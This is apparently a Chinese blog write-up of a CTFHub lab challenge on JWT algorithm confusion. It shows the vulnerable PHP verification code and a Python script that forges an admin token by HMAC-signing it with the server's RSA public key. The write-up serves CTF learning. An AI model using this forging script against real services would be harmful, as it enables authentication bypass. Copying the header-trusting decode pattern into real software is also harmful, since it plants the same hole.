ctfhub 技能树 JSON Web Token 修改签名算法

ctfhub 技能树 JSON Web Token 修改签名算法

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。

一进入页面,我们发现
页面源码:

<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;

class JWTHelper {
  public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        $token = "";
        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'admin',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        } else {
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'guest',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        }
        @setcookie("token", $token, time()+1800);
        header("Location: /index.php");
        exit();
    } else {
        @setcookie("token", "");
        header("Location: /index.php");
        exit();
    }
} else {
    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
        if ($obj->role === 'admin') {
            echo $FLAG;
        }
    } else {
        show_source(__FILE__);
    }
}
?>

尝试登录,发现有一串 token
在这里插入图片描述
然后我们将这串token 丢入到jwt
在这里插入图片描述
发现是RS256 编码。
题干中提示我们标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的
查看公匙:
yichuan在这里插入图片描述
一串乱码看不懂。

我们进行源码分析,看能不能有点收获。
如果我们想要获得flag,我们发送的 token 不为空 并且发送的 cookie 为PUBLIC_KEY 也就是公码
并且 role 为 admin。
同时我们看上面:

 public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    }

发现在 JWTHelper类中,decode()、encode()默认的加密解密方式都为“HS256”
在回想这样一句话

JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false

我们就明白了:
在JWTHelper类的decode()中,如果输入公匙正确,并且后面的if语句正确,那么就会就会显示flag。同时 公匙要HS256加密。
所以我们要对公匙进行HS256加密,加入到token后面
在这里,我们可以自己编写脚本进行加密
或者使用大佬的 脚本
注,要将脚本下载到和本脚本同目录下
在这里插入图片描述

# coding=GBK
import hmac
import hashlib
import base64

file = open('publickey.pem')    #需要将文中的publickey下载	与脚本同目录
key = file.read()

# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'

# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")

# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")

# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)

# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")

print(token + "." + sig)


在这里插入图片描述

我们放到jwt查看:
在这里插入图片描述
发现公匙中的内容完全就可以找到 flag
我们只需要让我们的payload 放到 token中即可
在这里插入图片描述
当然如果不用 BP 我们也可以直接 f12 以cookie的形式传过去
同样的 postman 也是可以的
在这里插入图片描述

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFHub是一个CTF(Capture The Flag)竞赛平台,提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容: 1. HTTP协议:了解HTTP协议的基本原理和常见的请求方法(GET、POST等),了解HTTP请求和响应的结构。 2. URL编码和解码:学习URL编码和解码的原理和常见的编码方式,如URL编码中的%20代表空格。 3. Cookies:了解Cookies的作用和原理,学习如何使用Cookies进行用户认证和状态管理。 4. Session管理:学习Session的概念和原理,了解如何使用Session进行用户认证和状态管理。 5. 基本认证(Basic Authentication):学习基本认证的原理和流程,了解如何使用用户名和密码进行认证。 6. 表单认证(Form-based Authentication):学习表单认证的原理和流程,了解如何使用表单提交用户名和密码进行认证。 7. Token认证:学习Token认证的原理和流程,了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御:学习CSRF(Cross-Site Request Forgery)攻击的原理和常见的防御措施9. XSS攻击与防御:学习XSS(Cross-Site Scripting)攻击的原理和常见的防御措施10. SQL注入攻击与防御:学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容,通过学习这些知识,你可以提升自己在Web安全领域的认证技能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值